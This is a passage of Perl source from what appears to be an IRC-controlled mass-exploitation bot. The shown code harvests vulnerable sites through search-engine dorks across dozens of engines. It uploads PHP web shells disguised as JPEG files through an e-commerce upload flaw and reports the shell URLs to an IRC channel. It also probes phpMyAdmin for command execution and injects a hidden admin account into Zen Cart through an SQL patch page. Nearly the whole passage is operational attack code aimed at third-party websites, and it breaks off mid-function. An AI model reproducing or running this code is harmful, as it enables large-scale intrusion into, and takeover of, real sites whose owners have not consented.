| 1406 | my $resc = $browser->post( $url,['products_image' => ['./allnet.jpg' => 'allnet.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); | |
| 1407 | my $hasil = $res->as_string; | |
| 1408 | my $hasil1 = $resa->as_string; | |
| 1409 | my $hasil2 = $resb->as_string; | |
| 1410 | my $hasil3 = $resc->as_string; | |
| 1411 | my $check = &get_content("http://".$site."images/config.inc.php");&get_content("http://".$site."images/byroe.php");&get_content("http://".$site."images/allnet.php");sleep(3);
| |
| 1412 | if ($check =~ /ipays - exploit/) {
| |
| 1413 | my $safe =""; | |
| 1414 | my $os =""; | |
| 1415 | my $free =""; | |
| 1416 | if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
| |
| 1417 | if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
| |
| 1418 | if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
| |
| 1419 | if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
| |
| 1420 | &msg("$chan","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4config.inc.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
| |
| 1421 | &msg("$admin","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4config.inc.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
| |
| 1422 | } | |
| 1423 | } | |
| 1424 | ||
| 1425 | sub osco2() {
| |
| 1426 | my $chan = $_[0]; | |
| 1427 | my $bug = $_[1]; | |
| 1428 | my $dork = $_[2]; | |
| 1429 | my $engine = $_[3]; | |
| 1430 | my $count = 0; | |
| 1431 | my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo); | |
| 1432 | my $num = scalar(@list); | |
| 1433 | if ($num > 0) {
| |
| 1434 | foreach my $site (@list) {
| |
| 1435 | $count++; | |
| 1436 | if ($count == $num-1) { &msg("$chan","$oscologo(4@8$engine15)10 Scan finish"); }
| |
| 1437 | my $test = "http://".$site.$bug; | |
| 1438 | my $html = &get_content($test); | |
| 1439 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1440 | if ($html =~ /TABLE_HEADING_FILENAME/ ) {
| |
| 1441 | # &msg("$chan","$oscologo(4@8$engine15)15(4@9System15)7 ".$test);
| |
| 1442 | &osco_xpl2($test,$chan,$site,$engine); | |
| 1443 | } else { }
| |
| 1444 | } exit; sleep(2); } | |
| 1445 | } | |
| 1446 | } | |
| 1447 | } | |
| 1448 | ||
| 1449 | sub osco_xpl2() {
| |
| 1450 | my $browser = LWP::UserAgent->new; | |
| 1451 | my $url = $_[0]."?action=processuploads"; | |
| 1452 | my $chan = $_[1]; | |
| 1453 | my $site = $_[2]; | |
| 1454 | my $engine = $_[3]; | |
| 1455 | my $res = $browser->post( $url,['file_1' => ['./ipays.jpg' => 'config.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); | |
| 1456 | my $resb = $browser->post( $url,['file_1' => ['./byroe.jpg' => 'byroe.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); | |
| 1457 | my $resc = $browser->post( $url,['file_1' => ['./allnet.jpg' => 'allnet.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); | |
| 1458 | my $hasil = $res->as_string; | |
| 1459 | my $hasil1 = $resa->as_string; | |
| 1460 | my $hasil2 = $resb->as_string; | |
| 1461 | my $hasil3 = $resc->as_string; | |
| 1462 | my $check = &get_content("http://".$site."images/config.inc.php");&get_content("http://".$site."images/byroe.php");&get_content("http://".$site."images/allnet.php");sleep(3);
| |
| 1463 | if ($check =~ /ipays - exploits/) {
| |
| 1464 | my $safe =""; | |
| 1465 | my $os =""; | |
| 1466 | my $free =""; | |
| 1467 | if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
| |
| 1468 | if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
| |
| 1469 | if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
| |
| 1470 | if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
| |
| 1471 | &msg("$chan","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4config.inc.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
| |
| 1472 | &msg("$admin","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4config.inc.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
| |
| 1473 | } | |
| 1474 | } | |
| 1475 | ||
| 1476 | sub adm() {
| |
| 1477 | my $chan = $_[0]; | |
| 1478 | my $bug = $_[1]; | |
| 1479 | my $dork = $_[2]; | |
| 1480 | my $engine = $_[3]; | |
| 1481 | my $count = 0; | |
| 1482 | my @list = &search_engine($chan,$bug,$dork,$engine,$admlogo); | |
| 1483 | my $num = scalar(@list); | |
| 1484 | if ($num > 0) {
| |
| 1485 | foreach my $site (@list) {
| |
| 1486 | $count++; | |
| 1487 | if ($count == $num-1) { &msg("$chan","$admlogo(4@8$engine15)10 Scan finish"); }
| |
| 1488 | my $test = "http://".$site."phpMyAdmin/config/config.inc.php?c=id"; | |
| 1489 | my $vuln = "http://".$site."phpMyAdmin/config/config.inc.php?c=4[cmd]s"; | |
| 1490 | my $re = &get_content($test); | |
| 1491 | if ($re =~ /$adm_output/){
| |
| 1492 | &msg("$path", "$admlogo(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@0OKE15)");
| |
| 1493 | } | |
| 1494 | } | |
| 1495 | } | |
| 1496 | } | |
| 1497 | ||
| 1498 | sub op() {
| |
| 1499 | my $chan = $_[0]; | |
| 1500 | my $bug = $_[1]; | |
| 1501 | my $dork = $_[2]; | |
| 1502 | my $engine = $_[3]; | |
| 1503 | my $count = 0; | |
| 1504 | my @list = &search_engine($chan,$bug,$dork,$engine,$oplogo); | |
| 1505 | my $num = scalar(@list); | |
| 1506 | if ($num > 0) {
| |
| 1507 | foreach my $site (@list) {
| |
| 1508 | $count++; | |
| 1509 | if ($count == $num-1) { &msg("$chan","$oplogo(4@8$engine15)10 Scan finish"); }
| |
| 1510 | my $test = "http://".$site.$open_test; | |
| 1511 | my $vuln = "http://".$site."admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html"; | |
| 1512 | my $re = &get_content($test); | |
| 1513 | if ($re =~ /$open_output/){
| |
| 1514 | &msg("$path", "$oplogo(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@UPLOAD15)");
| |
| 1515 | } | |
| 1516 | } | |
| 1517 | } | |
| 1518 | } | |
| 1519 | ||
| 1520 | sub zen() {
| |
| 1521 | my $chan = $_[0]; | |
| 1522 | my $bug = $_[1]; | |
| 1523 | my $dork = $_[2]; | |
| 1524 | my $engine = $_[3]; | |
| 1525 | my $count = 0; | |
| 1526 | my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo); | |
| 1527 | my $num = scalar(@list); | |
| 1528 | if ($num > 0) {
| |
| 1529 | foreach my $site (@list) {
| |
| 1530 | $count++; | |
| 1531 | if ($count == $num-1) { &msg("$chan","$zenlogo(4@8$engine15)10 Scan finish"); }
| |
| 1532 | my $test = "http://".$site."admin/sqlpatch.php/password_forgotten.php?action=execute"; | |
| 1533 | my $vuln = "http://".$site."admin"; | |
| 1534 | my $que = "INSERT INTO admin (admin_id, admin_name, admin_email, admin_pass) VALUES (56,'adminsys','[email protected]','617ec22fbb8f201c366e9848c0eb6925:87');"; | |
| 1535 | my $enc = urlencode($que); | |
| 1536 | my $re = &get_content($test,"query_string=$enc"); | |
| 1537 | if ($re =~ /1 statements processed/i){
| |
| 1538 | &msg("$path", "$zenlogo(4@8$engine15)(4@13HaJaR15)13 ".$vuln."15(4@9USER15)9 adminsys 15(4@9PASSWORD15)13 wew");
| |
| 1539 | } | |
| 1540 | else{
| |
| 1541 | &msg("$path", "$zenlogo(4@8$engine15)(4@13GaGaL15)4 ".$vuln."15(4@9Ab0rteD15)");
| |
| 1542 | } | |
| 1543 | } | |
| 1544 | } | |
| 1545 | } | |
| 1546 | ######################################### | |
| 1547 | ||
| 1548 | sub search_engine() {
| |
| 1549 | my (@total,@clean); | |
| 1550 | my $chan = $_[0]; | |
| 1551 | my $bug = $_[1]; | |
| 1552 | my $dork = $_[2]; | |
| 1553 | my $engine = $_[3]; | |
| 1554 | my $logo = $_[4]; | |
| 1555 | if ($engine eq "thailand") { my @thailand = &thailand($dork); push(@total,@thailand); }
| |
| 1556 | if ($engine eq "philiphina") { my @philiphina = &philiphina($dork); push(@total,@philiphina); }
| |
| 1557 | if ($engine eq "korea") { my @korea = &korea($dork); push(@total,@korea); }
| |
| 1558 | if ($engine eq "india") { my @india = &india($dork); push(@total,@india); }
| |
| 1559 | if ($engine eq "israel") { my @israel = &israel($dork); push(@total,@israel); }
| |
| 1560 | if ($engine eq "hongkong") { my @hongkong = &hongkong($dork); push(@total,@hongkong); }
| |
| 1561 | if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
| |
| 1562 | if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
| |
| 1563 | if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
| |
| 1564 | if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
| |
| 1565 | if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
| |
| 1566 | if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
| |
| 1567 | if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
| |
| 1568 | if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
| |
| 1569 | if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
| |
| 1570 | if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
| |
| 1571 | if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
| |
| 1572 | if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
| |
| 1573 | if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
| |
| 1574 | if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
| |
| 1575 | if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
| |
| 1576 | if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
| |
| 1577 | if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
| |
| 1578 | if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
| |
| 1579 | if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
| |
| 1580 | if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
| |
| 1581 | if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
| |
| 1582 | if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
| |
| 1583 | if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
| |
| 1584 | if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
| |
| 1585 | if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
| |
| 1586 | if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
| |
| 1587 | if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
| |
| 1588 | if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
| |
| 1589 | if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
| |
| 1590 | if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
| |
| 1591 | if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
| |
| 1592 | @clean = &clean(@total); | |
| 1593 | &msg("$chan","$logo(4@8$engine15)4 Total:0 (".scalar(@total).")4 Clean:0 (".scalar(@clean).")");
| |
| 1594 | return @clean; | |
| 1595 | } | |
| 1596 | ||
| 1597 | ######################################### | |
| 1598 | ||
| 1599 | sub isFound() {
| |
| 1600 | my $status = 0; | |
| 1601 | my $link = $_[0]; | |
| 1602 | my $reqexp = $_[1]; | |
| 1603 | my $res = &get_content($link); | |
| 1604 | if ($res =~ /$reqexp/) { $status = 1 }
| |
| 1605 | return $status; | |
| 1606 | } | |
| 1607 | ||
| 1608 | sub get_content() {
| |
| 1609 | my $url = $_[0]; | |
| 1610 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 1611 | $ua->timeout(7); | |
| 1612 | my $req = HTTP::Request->new(GET => $url); | |
| 1613 | my $res = $ua->request($req); | |
| 1614 | return $res->content; | |
| 1615 | } | |
| 1616 | ||
| 1617 | ######################################### SEARCH ENGINE gibla | |
| 1618 | sub thailand(){
| |
| 1619 | my @list; | |
| 1620 | my $key = $_[0]; | |
| 1621 | for($b=0;$b<=1000;$b+=100){
| |
| 1622 | my $Th=("http://www.google.co.th/search?hl=th&q=".key($key)."&num=100&hl=th&q=&btnG=%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%AB%E0%B8%B2%E0%B9%82%E0%B8%94%E0%B8%A2+Google&meta=cr%3DcountryTH&ie=UTF-8&start=".$b);
| |
| 1623 | my $Res=query($Th); | |
| 1624 | while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
| |
| 1625 | if ($1 !~ /thailand/){
| |
| 1626 | my $k=$1; | |
| 1627 | my @grep=links($k); | |
| 1628 | push(@lst,@grep); | |
| 1629 | }}} | |
| 1630 | return @list; | |
| 1631 | } | |
| 1632 | ||
| 1633 | sub philiphina(){
| |
| 1634 | my @list; | |
| 1635 | my $key = $_[0]; | |
| 1636 | for($b=0;$b<=1000;$b+=100){
| |
| 1637 | my $Ph=("http://www.google.com.ph/search?hl=tl&q=".key($key)."&num=100&hl=tl&q=&btnG=Rechercher&meta=cr%3DcountryPH&ie=UTF-8&start=".$b);
| |
| 1638 | my $Res=query($Ph); | |
| 1639 | while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
| |
| 1640 | if ($1 !~ /philiphina/){
| |
| 1641 | my $k=$1; | |
| 1642 | my @grep=links($k); | |
| 1643 | push(@list,@grep); | |
| 1644 | }}} | |
| 1645 | return @list; | |
| 1646 | } | |
| 1647 | ||
| 1648 | sub korea(){
| |
| 1649 | my @list; | |
| 1650 | my $key = $_[0]; | |
| 1651 | for($b=0;$b<=1000;$b+=100){
| |
| 1652 | my $Kr=("http://www.google.co.kr/search?hl=ko&q=".key($key)."&num=100&hl=ko&q=&btnG=Google+%EA%B2%80%EC%83%89&lr=lang_ko&ie=UTF-8&start=".$b);
| |
| 1653 | my $Res=query($Kr); | |
| 1654 | while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
| |
| 1655 | if ($1 !~ /korea/){
| |
| 1656 | my $k=$1; | |
| 1657 | my @grep=links($k); | |
| 1658 | push(@list,@grep); | |
| 1659 | }}} | |
| 1660 | return @list; | |
| 1661 | } | |
| 1662 | ||
| 1663 | ||
| 1664 | sub india(){
| |
| 1665 | my @list; | |
| 1666 | my $key = $_[0]; | |
| 1667 | for($b=0;$b<=1000;$b+=100){
| |
| 1668 | my $Id=("http://www.google.co.in/search?hl=en&q=".key($key)."&num=100&hl=en&q=&btnG=Rechercher&meta=cr%3DcountryIN&ie=UTF-8&start=".$b);
| |
| 1669 | my $Res=query($Id); | |
| 1670 | while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
| |
| 1671 | if ($1 !~ /india/){
| |
| 1672 | my $k=$1; | |
| 1673 | my @grep=links($k); | |
| 1674 | push(@list,@grep); | |
| 1675 | }}} | |
| 1676 | return @list; | |
| 1677 | } | |
| 1678 | ||
| 1679 | sub hongkong(){
| |
| 1680 | my @list; | |
| 1681 | my $key = $_[0]; | |
| 1682 | for($b=0;$b<=1000;$b+=100){
| |
| 1683 | my $Hk=("http://www.google.com.hk/search?hl=zh-TW&q=".key($key)."&num=100&hl=zh-TW&q=&btnG=Rechercher&meta=cr%3DcountryHK&ie=UTF-8&start=".$b);
| |
| 1684 | my $Res=query($Hk); | |
| 1685 | while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
| |
| 1686 | if ($1 !~ /hongkong/){
| |
| 1687 | my $k=$1; | |
| 1688 | my @grep=links($k); | |
| 1689 | push(@list,@grep); | |
| 1690 | }}} | |
| 1691 | return @list; | |
| 1692 | } | |
| 1693 | ||
| 1694 | sub israel(){
| |
| 1695 | my @list; | |
| 1696 | my $key = $_[0]; | |
| 1697 | for($b=0;$b<=1000;$b+=100){
| |
| 1698 | my $Go=("http://www.google.co.il/search?hl=en&q=".key($key)."&num=100&hl=en&q=&btnG=Rechercher&meta=cr%3DcountryIL&ie=UTF-8&start=".$b);
| |
| 1699 | my $Res=query($Go); | |
| 1700 | while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
| |
| 1701 | if ($1 !~ /israel/){
| |
| 1702 | my $k=$1; | |
| 1703 | my @grep=links($k); | |
| 1704 | push(@list,@grep); | |
| 1705 | }}} | |
| 1706 | return @list; | |
| 1707 | } | |
| 1708 | ||
| 1709 | ||
| 1710 | sub google() {
| |
| 1711 | my @list; | |
| 1712 | my $key = $_[0]; | |
| 1713 | for (my $i=0; $i<=400; $i+=10){
| |
| 1714 | my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
| |
| 1715 | my $res = &search_engine_query($search); | |
| 1716 | while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
| |
| 1717 | if ($1 !~ /google/){
| |
| 1718 | my $link = $1; | |
| 1719 | my @grep = &links($link); | |
| 1720 | push(@list,@grep); | |
| 1721 | } | |
| 1722 | } | |
| 1723 | } | |
| 1724 | return @list; | |
| 1725 | } | |
| 1726 | ||
| 1727 | sub rediff() {
| |
| 1728 | my @list; | |
| 1729 | my $key = $_[0]; | |
| 1730 | for (my $i=0; $i<=500; $i+=10) {
| |
| 1731 | my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
| |
| 1732 | $b = "$i"; | |
| 1733 | my $res = &search_engine_query($search); | |
| 1734 | if ($res !~ /firstres=$b\'>/) {$i=500;}
| |
| 1735 | while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
| |
| 1736 | if ($1 !~ /rediff\.com/){
| |
| 1737 | my $link = $1; | |
| 1738 | my @grep = &links($link); | |
| 1739 | push(@list,@grep); | |
| 1740 | } | |
| 1741 | } | |
| 1742 | } | |
| 1743 | return @list; | |
| 1744 | } | |
| 1745 | ||
| 1746 | sub uol() {
| |
| 1747 | my @list; | |
| 1748 | my $key = $_[0]; | |
| 1749 | for (my $i=1; $i<=500; $i+=10) {
| |
| 1750 | my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
| |
| 1751 | my $res = &search_engine_query($search); | |
| 1752 | if ($res !~ m/<span class=\"next\">próxima<\/span>/){$i=500;}
| |
| 1753 | while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
| |
| 1754 | if ($1 !~ /uol\.com/) {
| |
| 1755 | my $link = $1; | |
| 1756 | my @grep = &links($link); | |
| 1757 | push(@list,@grep); | |
| 1758 | } | |
| 1759 | } | |
| 1760 | } | |
| 1761 | return @list; | |
| 1762 | } | |
| 1763 | ||
| 1764 | sub bing() {
| |
| 1765 | my @list; | |
| 1766 | my $key = $_[0]; | |
| 1767 | for (my $i=1; $i<=500; $i+=10) {
| |
| 1768 | my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
| |
| 1769 | my $res = &search_engine_query($search); | |
| 1770 | if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
| |
| 1771 | while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
| |
| 1772 | if ($1 !~ /bing\.com/) {
| |
| 1773 | my $link = $1; | |
| 1774 | my @grep = &links($link); | |
| 1775 | push(@list,@grep); | |
| 1776 | } | |
| 1777 | } | |
| 1778 | } | |
| 1779 | return @list; | |
| 1780 | } | |
| 1781 | ||
| 1782 | sub altavista() {
| |
| 1783 | my @list; | |
| 1784 | my $key = $_[0]; | |
| 1785 | for (my $i=1; $i<=500; $i+=10){
| |
| 1786 | my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
| |
| 1787 | my $res = &search_engine_query($search); | |
| 1788 | if ($res !~ /target=\"_self\">Succ/) {$i=500;}
| |
| 1789 | while ($res =~ m/<span class=ngrn>(.+?)\//g) {
| |
| 1790 | if ($1 !~ /altavista/){
| |
| 1791 | my $link = $1; | |
| 1792 | $link =~ s/<//g; | |
| 1793 | $link =~ s/ //g; | |
| 1794 | my @grep = &links($link); | |
| 1795 | push(@list,@grep); | |
| 1796 | } | |
| 1797 | } | |
| 1798 | } | |
| 1799 | return @list; | |
| 1800 | } | |
| 1801 | ||
| 1802 | sub ask() {
| |
| 1803 | my @list; | |
| 1804 | my $key = $_[0]; | |
| 1805 | for (my $i=1; $i<=50; $i+=1) {
| |
| 1806 | my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
| |
| 1807 | my $res = &search_engine_query($search); | |
| 1808 | if ($res !~ /Successiva/) {$i=50;}
| |
| 1809 | while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
| |
| 1810 | if ($1 !~ /ask\.com/){
| |
| 1811 | my $link = $1; | |
| 1812 | my @grep = &links($link); | |
| 1813 | push(@list,@grep); | |
| 1814 | } | |
| 1815 | } | |
| 1816 | } | |
| 1817 | return @list; | |
| 1818 | } | |
| 1819 | ||
| 1820 | sub yahoo(){
| |
| 1821 | my @list; | |
| 1822 | my $key = $_[0]; | |
| 1823 | my $b = 0; | |
| 1824 | for ($b=1; $b<=500; $b+=10) {
| |
| 1825 | my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
| |
| 1826 | my $res = &search_engine_query($search); | |
| 1827 | while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
| |
| 1828 | if ($1 !~ /yahoo\.com/){
| |
| 1829 | my $link = $1; | |
| 1830 | my @grep = &links($link); | |
| 1831 | push(@list,@grep); | |
| 1832 | } | |
| 1833 | } | |
| 1834 | } | |
| 1835 | return @list; | |
| 1836 | } | |
| 1837 | ||
| 1838 | sub clusty() {
| |
| 1839 | my @list; | |
| 1840 | my $key = $_[0]; | |
| 1841 | my $b = 0; | |
| 1842 | for ($b=10; $b<=500; $b+=10) {
| |
| 1843 | my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
| |
| 1844 | my $res = &search_engine_query($search); | |
| 1845 | if ($res !~ /next/) {$b=500;}
| |
| 1846 | while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
| |
| 1847 | if ($1 !~ /yippy\.com/){
| |
| 1848 | my $link = $1; | |
| 1849 | my @grep = &links($link); | |
| 1850 | push(@list,@grep); | |
| 1851 | } | |
| 1852 | } | |
| 1853 | } | |
| 1854 | return @list; | |
| 1855 | } | |
| 1856 | ||
| 1857 | sub gutser() {
| |
| 1858 | my @list; | |
| 1859 | my $key = $_[0]; | |
| 1860 | for ($b=1; $b<=50; $b+=1) {
| |
| 1861 | my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
| |
| 1862 | my $res = &search_engine_query($search); | |
| 1863 | while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
| |
| 1864 | if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
| |
| 1865 | my $link = $1; | |
| 1866 | my @grep = &links($link); | |
| 1867 | push(@list,@grep); | |
| 1868 | } | |
| 1869 | } | |
| 1870 | } | |
| 1871 | return @list; | |
| 1872 | } | |
| 1873 | ||
| 1874 | sub google2() {
| |
| 1875 | my @list; | |
| 1876 | my $key = $_[0]; | |
| 1877 | my $b = 0; | |
| 1878 | my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
| |
| 1879 | foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
| |
| 1880 | for ($b=1; $b<=200; $b+=10) {
| |
| 1881 | my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
| |
| 1882 | my $res = &search_engine_query($search); | |
| 1883 | while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
| |
| 1884 | if ($1 !~ /google/){
| |
| 1885 | my $link = $1; | |
| 1886 | my @grep = &links($link); | |
| 1887 | push(@list,@grep); | |
| 1888 | } | |
| 1889 | } | |
| 1890 | } return @list; | |
| 1891 | } | |
| 1892 | } | |
| 1893 | ||
| 1894 | sub exalead() {
| |
| 1895 | my @list; | |
| 1896 | my $key = $_[0]; | |
| 1897 | for ($b=0; $b<=1000; $b+=100) {
| |
| 1898 | my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
| |
| 1899 | my $res = &search_engine_query($search); | |
| 1900 | if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
| |
| 1901 | while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
| |
| 1902 | my $link = $1; | |
| 1903 | if ($link!~ /exalead/){
| |
| 1904 | my @grep = &links($link); | |
| 1905 | push(@list,@grep); | |
| 1906 | } | |
| 1907 | } | |
| 1908 | } | |
| 1909 | return @list; | |
| 1910 | } | |
| 1911 | ||
| 1912 | sub lycos() {
| |
| 1913 | my @list; | |
| 1914 | my $key = $_[0]; | |
| 1915 | for ($b=0; $b<=50; $b+=1) {
| |
| 1916 | my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
| |
| 1917 | my $res = &search_engine_query($search); | |
| 1918 | while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
| |
| 1919 | if ($1 !~ /lycos\.com/){
| |
| 1920 | my $link = $1; | |
| 1921 | my @grep = &links($link); | |
| 1922 | push(@list,@grep); | |
| 1923 | } | |
| 1924 | } | |
| 1925 | } | |
| 1926 | return @list; | |
| 1927 | } | |
| 1928 | ||
| 1929 | sub virgilio() {
| |
| 1930 | my @list; | |
| 1931 | my $key = $_[0]; | |
| 1932 | for ($b=10; $b<=500; $b+=10) {
| |
| 1933 | my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
| |
| 1934 | my $res = &search_engine_query($search); | |
| 1935 | if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
| |
| 1936 | if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
| |
| 1937 | while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
| |
| 1938 | if ($1 !~ /\.virgilio\.it/){
| |
| 1939 | my $link = $1; | |
| 1940 | my @grep = &links($link); | |
| 1941 | push(@list,@grep); | |
| 1942 | } | |
| 1943 | } | |
| 1944 | } | |
| 1945 | return @list; | |
| 1946 | } | |
| 1947 | ||
| 1948 | sub webde() {
| |
| 1949 | my @list; | |
| 1950 | my $key = $_[0]; | |
| 1951 | for ($b=1; $b<=50; $b+=1) {
| |
| 1952 | my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
| |
| 1953 | my $res = &search_engine_query($search); | |
| 1954 | if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
| |
| 1955 | while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
| |
| 1956 | my $link = $1; | |
| 1957 | if ($link!~ /suche|web/){
| |
| 1958 | my @grep = &links($link); | |
| 1959 | push(@list,@grep); | |
| 1960 | } | |
| 1961 | } | |
| 1962 | } | |
| 1963 | return @list; | |
| 1964 | } | |
| 1965 | ||
| 1966 | sub hotbot() {
| |
| 1967 | my @list; | |
| 1968 | my $key = $_[0]; | |
| 1969 | for ($b=0; $b<=50; $b+=1) {
| |
